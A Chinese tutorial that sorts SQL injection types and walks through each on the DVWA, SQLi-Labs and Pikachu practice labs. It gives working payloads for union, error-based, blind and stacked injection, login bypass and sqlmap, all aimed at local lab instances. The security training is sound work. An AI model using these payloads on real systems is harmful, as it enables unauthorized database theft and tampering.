☰
SQL注入分类实战:从DVWA到SQLi-Labs的注入类型解析
2026/10/16 22:16:30 网站建设 项目流程

很多人把SQLi-Labs前面几关打通之后,会陷入一种错觉:SQL注入不就是' or 1=1#、union select 1,2,3嘛。直到某天在DVWA里输入同样的payload却没反应,或者在CTF里遇到一个不回显的注入点,才发现自己只是在背答案,并没有理解为什么这段payload有效。

我自己的经历也是这样。最早花了一晚上把Less-1到Less-4的联合注入刷完,第二天去测DVWA,直接翻车。后来意识到,问题不在于payload背得少,而在于没有先做“注入分类”。SQL注入的分类并不是考试要背的概念,它直接决定了你测试的时候从哪个入口打、用什么方式闭合、用哪种方法把数据取出来。

这篇文章要聊的就是这件事:把SQL注入按几个核心维度拆开,再用DVWA、SQLi-Labs、Pikachu这三个靶场把每种类型过一遍。适合刚接触Web安全的人,也适合那些已经能跑通sqlmap、但一遇到手工测试就不知道从哪下手的人。你会发现,只要判断出注入类型,后面基本全是固定套路。

1. 为什么必须先搞懂“分类”:SQL注入的本质是查询语义被改写

1.1 注入到底在注入什么

先说一个最容易被忽略的事实:SQL注入能发生,前提是开发者把用户输入直接拼进了SQL语句。用户输入一旦变成SQL语句的一部分,它就从“数据”变成了“代码”。比如一个根据用户ID查询资料的接口,正常请求是:

?id=1

拼入SQL后是:

SELECT first_name, last_name FROM users WHERE user_id = '1';

当输入变成1' or '1'='1时:

SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';

or '1'='1'让where条件恒真,结果就是返回所有用户数据。如果后端代码用的是mysql_query()这种支持多条语句的函数,甚至还能通过;拼接第二条SQL。用户输入从“普通参数”变成“可执行代码”,这就是SQL注入的本质。

理解这一点对分类很重要。因为所有注入分类,本质上都是在回答两个问题:

  • 第一个问题:用户输入被拼进了SQL语句的哪个位置、以什么形式被拼进去?
  • 第二个问题:SQL语句执行完之后,结果以什么形式返回给攻击者?

分类就是这两个问题不同答案的组合。很多新手一上来就背payload,没有先回答这两个问题,所以到不同场景就抓瞎。

1.2 分类维度决定了测试顺序

常见的SQL注入分类维度有三个,按测试顺序排是这样:

  1. 注入位置维度:GET参数、POST参数、Cookie、HTTP头。这个决定了你从哪个入口测。
  2. 数据类型/闭合方式维度:数字型、字符型(单引号闭合、双引号闭合、括号包裹)、搜索型。这个决定了你要不要加引号、怎么闭合。
  3. 数据交互方式维度:联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入。这个决定了你用什么手段把数据拿出来。

三个维度是层层递进的。你不可能跳过闭合方式直接选联合注入,因为联合注入需要知道前面的字段数,而判断字段数必须在正确闭合的基础上进行。同样,你也不可能跳过数据交互方式去判断注入类型,因为联合注入和盲注的payload完全是两套东西。

为什么要用靶场练分类?因为靶场把各种组合都拆好了。SQLi-Labs从Less-1到Less-65几乎覆盖了所有维度组合,DVWA适合先感受SQL注入的完整链路,Pikachu则更适合练POST、搜索、HTTP头这些非标准注入位置。三个靶场配合起来,基本能把分类这个事练透。

2. 从DVWA入手:数字型与字符型注入的判断实操

2.1 DVWA的SQL Injection模块实测

DVWA(Damn Vulnerable Web Application)是最经典的入门靶场。登录后找到SQL Injection模块,Low级别下就是一个ID输入框。不过很多教程把它当成“数字型注入”的典型例子,这是错的。

我实际看了Low级别的源码,大概是这样的:

$id = $_REQUEST[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

注意$id外面的单引号。虽然你输入的是数字,但SQL语句里它是被单引号包起来的,所以DVWA的SQL Injection模块其实是字符型注入,不是数字型。这一点很多人搞混,也是很多人在其他靶场里翻车的原因之一。

在DVWA里验证字符型注入很简单:

  • 输入1' and '1'='1,正常显示用户信息。
  • 输入1' and '1'='2,页面无数据。
  • 输入1' or '1'='1,查出了所有用户。
  • 输入1' union select user, password from users#,能把数据库账号和密码哈希直接打出来。

操作方法是在?id=后面直接拼上这些payload,比如:

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' union select user, password from users#&Submit=Submit

注意DVWA需要登录Cookie,否则会被重定向到登录页。用浏览器正常登录后再访问这个URL就行。#在浏览器地址栏里会被当作锚点,所以如果要手输URL,最好用%23代替#,或者用Burp Suite改包发送。

2.2 判断数字型还是字符型的标准方法

无论是什么靶场,判断数字型还是字符型都有一套固定验证方法。不要因为参数值看起来像数字就默认它是数字型,要看闭合效果。

判断数字型注入:

  • 输入?id=1 and 1=1,页面正常。
  • 输入?id=1 and 1=2,页面异常或无数据。

如果两种情况有明显差异,说明1 and 1=1被拼进SQL后参与运算了,这是数字型。

判断字符型注入:

  • 输入?id=1' and '1'='1,页面正常。
  • 输入?id=1' and '1'='2,页面异常或无数据。

如果这两种情况有差异,说明你输入的单引号闭合了SQL语句中的引号,这是字符型。

两者本质区别就是闭合符号。数字型不需要闭合,字符型需要闭合单引号、双引号,有时候还涉及括号。可以用一个表格来对比:

类型SQL拼接示例判断payload常见位置
数字型WHERE id = $id1 and 1=1ID、文章编号等整数参数
字符型WHERE name = '$name'1' and '1'='1用户名、搜索关键词、标题等字符串参数
搜索型WHERE title LIKE '%$key%'1' and '1'='1或%通配符搜索框

这个判断方法适用于所有数据库。MySQL、SQL Server、Oracle里SQL语法差异不小,但and 1=1和and 1=2的判定逻辑是通用的。

2.3 一个经典误判:DVWA不是数字型

回到DVWA。网络上大量教程把DVWA的SQL Injection模块写成数字型,理由是输入框要求填ID数字。但看源码就知道,查询直接用了WHERE user_id = '$id',单引号包着的。用数字型的payload1 and 1=1去测,实际上试不出来,因为它会被当成字符串的一部分,根本不会参与SQL逻辑。

那为什么很多人还说是数字型?因为有些旧版本DVWA的代码不一样,或者PHP版本对$_REQUEST的处理有差异,加上大部分人没有真正看源码,只是照着教程复制。我的建议是:

遇到靶场先看源码,别猜。

在本地部署的DVWA,直接打开/var/www/html/dvwa/vulnerabilities/sqli/source/low.php这类路径就能看到真实SQL。自己部署的靶场,源码就在手边,不看白不看。理解拼接方式之后再判断类型,成功率会高很多。这也是“靶场实践”和“刷题”最大的区别:靶场允许你打开源码验证自己的判断,这样形成的分类思维才是扎实的。

3. 按“数据交互方式”切分:联合查询、报错注入与盲注的靶场对照

3.1 联合查询注入:SQLi-Labs Less-1 与 Less-2 的实践

联合查询注入,英文叫Union Based Injection,是所有注入类型里“最舒服”的一种。为什么?因为页面会直接把SQL查询结果显示出来。

联合查询的核心原理是:UNION关键字可以把两个SQL查询的结果集合并在一起。前提是前后两个查询的列数必须相同。所以联合注入的完整步骤是:

  1. 判断注入类型(字符型/数字型)。
  2. 用ORDER BY N判断列数。
  3. 用UNION SELECT 1,2,3...探测哪些列会回显到页面。
  4. 把回显位置替换成数据库名、表名、字段名、数据。

以SQLi-Labs Less-1为例。访问:

http://127.0.0.1/sqli-labs/Less-1/?id=1'

页面报错:You have an error in your SQL syntax... near ''1'' LIMIT 0,1。这是字符型注入的标志。然后按顺序执行:

?id=1' ORDER BY 3--+

页面正常。继续:

?id=1' ORDER BY 4--+

页面报错。说明原查询只有3列。接着:

?id=1' UNION SELECT 1,2,3--+

页面显示出2和3两个数字在页面上,说明第2列和第3列是可以回显的。接下来把2替换成数据库名,3替换成版本号:

?id=1' UNION SELECT 1,database(),version()--+

拿到数据库名security。继续爆表:

?id=1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+

会看到所有表名。然后爆字段、爆数据,思路完全一样。

Less-2是数字型注入,直接:

?id=1 ORDER BY 3--+

不需要单引号。如果Less-1你用的是'闭合,Less-2再用同样的payload就会报错。这个对比能很好地强化“先判断类型”的意识。

3.2 页面没有回显时:报错注入与布尔盲注

联合注入很舒服,但现实中很多页面不会显示SQL查询结果。这时候就要换方案了,取决于页面还有什么“反应”。

报错注入,前提是数据库报错信息会显示在页面上。SQLi-Labs Less-5就是这个类型。访问:

http://127.0.0.1/sqli-labs/Less-5/?id=1'

页面不会显示数据库内容,但会输出SQL错误。用updatexml()函数可以人为制造报错,并让报错信息里带上我们想要的数据:

?id=1' AND updatexml(1,concat(0x7e,database(),0x7e),1)--+

0x7e是~符号的十六进制,把它和查询结果拼在一起,updatexml第二参数不是合法的XPath表达式,就会触发报错,报错信息里包含了~security~。这样数据库名就出来了。

布尔盲注,适用于页面不显示报错、也没有任何数据回显,但正确和错误条件页面表现不同。SQLi-Labs Less-8是典型:

?id=1' AND ascii(substr(database(),1,1))>100--+

如果数据库名第一个字符的ASCII码大于100,页面显示You are in...........,否则什么都不显示。通过不断改变ASCII值,逐字符猜出数据库名。手工操作很慢,可以用二分法或者写脚本,但核心逻辑就是“利用页面差异传递信息”。

时间盲注,适用于页面完全没有任何差异的情况。SQLi-Labs Less-9就是:无论条件真假,页面都显示You are in...........。这时候只能用SLEEP()制造时间差:

?id=1' AND IF(ascii(substr(database(),1,1))>100,SLEEP(3),1)--+

如果页面多等了3秒,说明条件成立。时间盲注最慢,但也是“零回显”场景下最后的办法。

整理一下四种方式的适用条件:

注入方式判断条件典型 payload对应靶场关卡
联合查询页面有数据回显UNION SELECT 1,2,3SQLi-Labs Less-1/2
报错注入页面输出数据库错误信息updatexml(1,concat(0x7e,database(),0x7e),1)SQLi-Labs Less-5
布尔盲注页面正确/错误有差异AND ascii(substr(database(),1,1))>100SQLi-Labs Less-8
时间盲注页面无任何差异AND IF(...,SLEEP(3),1)SQLi-Labs Less-9

3.3 为什么报错注入和盲注不能用同一套payload

很多人学会联合注入之后,在报错注入场景里还是习惯性打UNION SELECT,结果页面没反应,就以为不存在注入。实际上不是没有注入,而是数据没有回显。

联合查询依赖查询结果被输出到页面。报错注入依赖数据库错误信息被输出。布尔盲注依赖页面状态变化。时间盲注只依赖时间差。这四种方式的“信号通道”完全不一样,所以测试的时候是一层层往下走的:

  • 先看页面有没有数据位 → 有,用联合查询。
  • 没数据位但报错信息还在 → 用报错注入。
  • 报错信息被吞了,但正确和错误页面不同 → 用布尔盲注。
  • 页面完全一样,只剩时间这个变量 → 用时间盲注。

在靶场里可以按SQLi-Labs的关卡顺序练习:Less-1到Less-4是联合查询,Less-5是报错,Less-8是布尔盲注,Less-9是时间盲注。一路打下来,这种“由浅入深”的判断逻辑就会变成肌肉记忆。

4. 容易忽视的两个分类维度:注入位置与堆叠/万能密码场景

4.1 从GET到POST:SQLi-Labs Less-11 与 Pikachu 的请求方式差异

很多人练习GET注入习惯了,到了登录框这种POST场景就懵。POST注入和GET注入在SQL拼接逻辑上完全一样,区别只在于数据放在HTTP请求的哪个位置。GET注入在URL里能看到参数,POST注入参数在请求体里,URL上什么都看不出来。

SQLi-Labs Less-11是一个POST型登录框。步骤是这样的:

用Burp Suite打开登录页面,随便输入用户名和密码,抓到POST请求:

POST /sqli-labs/Less-11/ HTTP/1.1 ... uname=admin&passwd=123

把请求包发给Repeater,修改uname参数:

uname=admin' AND 1=1#&passwd=123

页面提示登录成功但回显正常;改成:

uname=admin' AND 1=2#&passwd=123

页面显示用户名不正确。说明存在字符型注入。后面就是正常的联合查询流程,只不过payload的位置在POST请求体里。

Pikachu靶场也有一个“数字型注入”模块,同样是POST方式。开Burp抓包就能看到参数以POST形式提交,然后按数字型注入的方式测试:

id=1 AND 1=1 id=1 AND 1=2

为什么说这个维度容易被忽视?因为很多漏洞扫描工具默认只测GET参数,如果目标站点的主要入口是登录框和搜索框,盯着URL测等于漏掉了最大的攻击面。手动测试时,把GET、POST、Cookie、HTTP头都测一遍才算是完整。

4.2 堆叠注入与万能密码的靶场场景

堆叠注入(Stacked Queries)和其他类型不太一样,它不是“查询结果怎么展示”的问题,而是能不能执行多条SQL语句的问题。原理是很多后端的数据库接口允许一次发送多条SQL语句,用分号分隔。这种注入的危害比普通注入更大,因为可以执行增删改查。

SQLi-Labs Less-38是堆叠注入的例子。在?id=1后面加一条插入语句:

?id=1';INSERT INTO users(id,username,password) VALUES ('88','test','123456')--+

执行之后去数据库里查,会发现多了一行数据。注意,不是所有PHP接口都支持堆叠注入,PDO的某些配置会禁止多条语句执行,而老式的mysql_query()则支持。所以堆叠注入能不能打成功,完全取决于后端环境。

和堆叠注入经常一起出现的还有一个词:万能密码。万能密码本质上是登录场景下的逻辑绕过,利用SQL条件判断的特性让验证语句恒真。最常见的payload是:

admin' OR '1'='1' -- ' OR 1=1#

登录框SQL通常是:

SELECT * FROM users WHERE username='$user' AND password='$pass';

把用户名填成admin' OR '1'='1' --,SQL就变成:

SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password='xxx';

--注掉了后面的密码判断,整条语句恒真,登录直接通过。在DVWA或Pikachu的登录模块里可以试,效果非常直观。不过我提醒一句,这个场景只应该在自己部署的靶场或明确授权的环境里测试,别拿去试真实站点。

4.3 不要忽略Cookie/Header注入与搜索型注入

除了GET、POST,还有两类注入位置经常被刻意隐藏:HTTP头注入和Cookie注入。Pikachu的“HTTP Header注入”模块就是练这个的。

打开Pikachu的HTTP Header注入页面,用Burp抓包,修改User-Agent或者Referer请求头,加上单引号测试闭合。原理和GET注入一样,只是入口藏在请求头里。有些后端会把用户代理、来源页面写进数据库做统计,如果开发者直接拼接SQL,就会形成注入点。

搜索型注入则是另一种闭合方式。它的SQL形态通常是:

SELECT * FROM news WHERE title LIKE '%$keyword%';

如果你输入的关键词带单引号,比如:

1' AND '1'='1

拼接后变成:

SELECT * FROM news WHERE title LIKE '%1' AND '1'='1%';

如果页面表现异常,说明存在搜索型注入。Pikachu的搜索型注入模块就是这个思路。这种注入的测试payload往往要在开头或结尾处理%通配符,和普通字符型注入略有不同。

所以分类的时候,别只盯着URL问号后面的参数。请求头、Cookie、搜索框,每一个都可能藏着独立的注入点,每个入口还要单独判断数据类型和闭合方式,这对测试习惯的要求挺高的。

5. 靶场选择、搭建与工具链:把分类训练变成可复现的日常

5.1 三个经典靶场的定位差异

靶场选得好,分类练习效率高一倍。我常驻的SQL注入靶场有三个:

靶场特点SQL注入覆盖度适合谁
DVWA综合Web漏洞,有安全等级切换SQL注入模块不算多,但有联合查询、盲注和SQLmap练习场景完全新手,先建立整体认知
SQLi-Labs专注SQL注入,65个关卡,从基础到进阶全覆盖极高,包含GET/POST、字符/数字、联合/报错/布尔/时间/堆叠/二次注入等想系统学SQL注入分类的人
Pikachu中文靶场,覆盖多种Web漏洞,有大量真实场景涵盖数字型、字符型、搜索型、POST、HTTP头、盲注等练实战场景和中文环境的人

如果只能选一个,我建议把SQLi-Labs完整打一遍。它的关卡设计几乎就是按分类维度排的,Less-1到Less-10能覆盖大部分基础类型,Less-11到Less-30涉及POST、UA头、Cookie等不同入口,后面的关卡还有各种过滤绕过,非常适合当分类手册用。

5.2 Docker一键搭建与常见排错

三个靶场都可以用Docker快速搭建。以DVWA为例:

docker run -d -p 8080:80 vulnerables/web-dvwa

启动后访问http://127.0.0.1:8080,默认账号admin、密码password。首次使用需要在http://127.0.0.1:8080/setup.php初始化数据库。

SQLi-Labs可以先拉镜像或直接用源码部署。源码部署的话,把sql-connections/db-creds.inc里的数据库账号密码改对,然后访问http://127.0.0.1/sqli-labs/sql-connections/setup-db.php自动建库。我遇到过几次数据库连不上的问题,基本都在db-creds.inc的配置和MySQL的root账号认证方式上。

Pikachu也是同样套路,源码放到Web目录,访问install.php初始化,然后修改inc/config.inc.php里的数据库连接。

常见排错:

  • 容器端口被占:换一个宿主机端口映射,比如-p 8081:80。
  • 数据库初始化失败:确认MySQL已启动,账号有远程权限。
  • DVWA登录后白屏:可能是cookie问题,换个无痕窗口重新登录。
  • 页面报权限错误:检查Web目录权限,chmod -R 755基本能解决。

有一点要注意:Docker容器的文件系统是临时的,容器重建后你在靶场里做的测试数据会丢。如果想保留数据,用docker commit或者挂载目录。

5.3 用sqlmap验证分类判断,但别完全依赖它

把sqlmap当成验证工具来用,效率很高。前提是你先手工判断了注入类型,再用sqlmap去确认。

sqlmap基础用法:

# 探测一个GET注入点 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --batch # 指定数据库类型和注入技术 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbms=mysql --technique=EU --batch # 测试POST参数 sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/" --data "uname=admin&passwd=123" --batch # 指定Cookie(DVWA这类需要登录的靶场) sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=你的会话ID" --batch

--technique参数对应注入分类:

参数含义
B布尔盲注
E报错注入
U联合查询注入
S堆叠查询注入
T时间盲注
Q内联查询

比如--technique=BET就是只测布尔、报错和时间盲注。如果页面没有回显但sqlmap跑不出来,可以考虑提高检测深度:

sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --level=3 --risk=2 --batch

--level越高,测试的注入点越多(包括Cookie和User-Agent),--risk越高,使用越激进的payload。在靶场里随便测,但在授权测试里要小心--risk=3,因为它可能触发DELETE或UPDATE类的payload,造成数据被改。

但我想强调的是,sqlmap输出“某某参数存在注入”不一定代表你真正理解了分类。我见过很多情况:sqlmap跑不出结果,一查发现是闭合方式特殊,或者被WAF拦了一部分payload。这种时候手工判断能力才是兜底的。用靶场把手工判断练熟了,再用sqlmap加速,两条腿走路才稳。

5.4 实战体会:判断分类的三步法

最后说一个我在靶场里反复验证过的三步判断法。

第一步,找输入点。看请求里的参数,GET参数看URL,POST参数看请求体,还有Cookie和请求头。每个参数都值得单独测一遍。

第二步,判断闭合方式。在参数后面加单引号、双引号、'加括号,观察页面是否报错或行为变化。报错信息会直接暴露SQL语法结构,没有报错就用AND 1=1/AND 1=2去试探。

第三步,确认输出通道。如果数据直接显示在页面,尝试联合注入;如果只有报错,尝试报错注入;如果内容不显示但页面有差异,走布尔盲注;如果页面一模一样,只能看时间差,走时间盲注。

这个顺序在DVWA、SQLi-Labs、Pikachu里都适用。每次遇到一个新靶场,我都先按这三步走一遍,很少再出现“不知道用什么payload”的情况。

至于常见的翻车点,我大概总结了几个:不看源码直接猜类型、在无回显页面硬打联合注入、忽略了POST参数、在需要Cookie的靶场里不带Cookie直接测、--+没理解成空格导致注释失效。这些都是可以靠反复练习避开的。把SQLi-Labs从Less-1打到Less-10,再回到DVWA把所有模块重测一遍,整个分类思路基本就定型了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询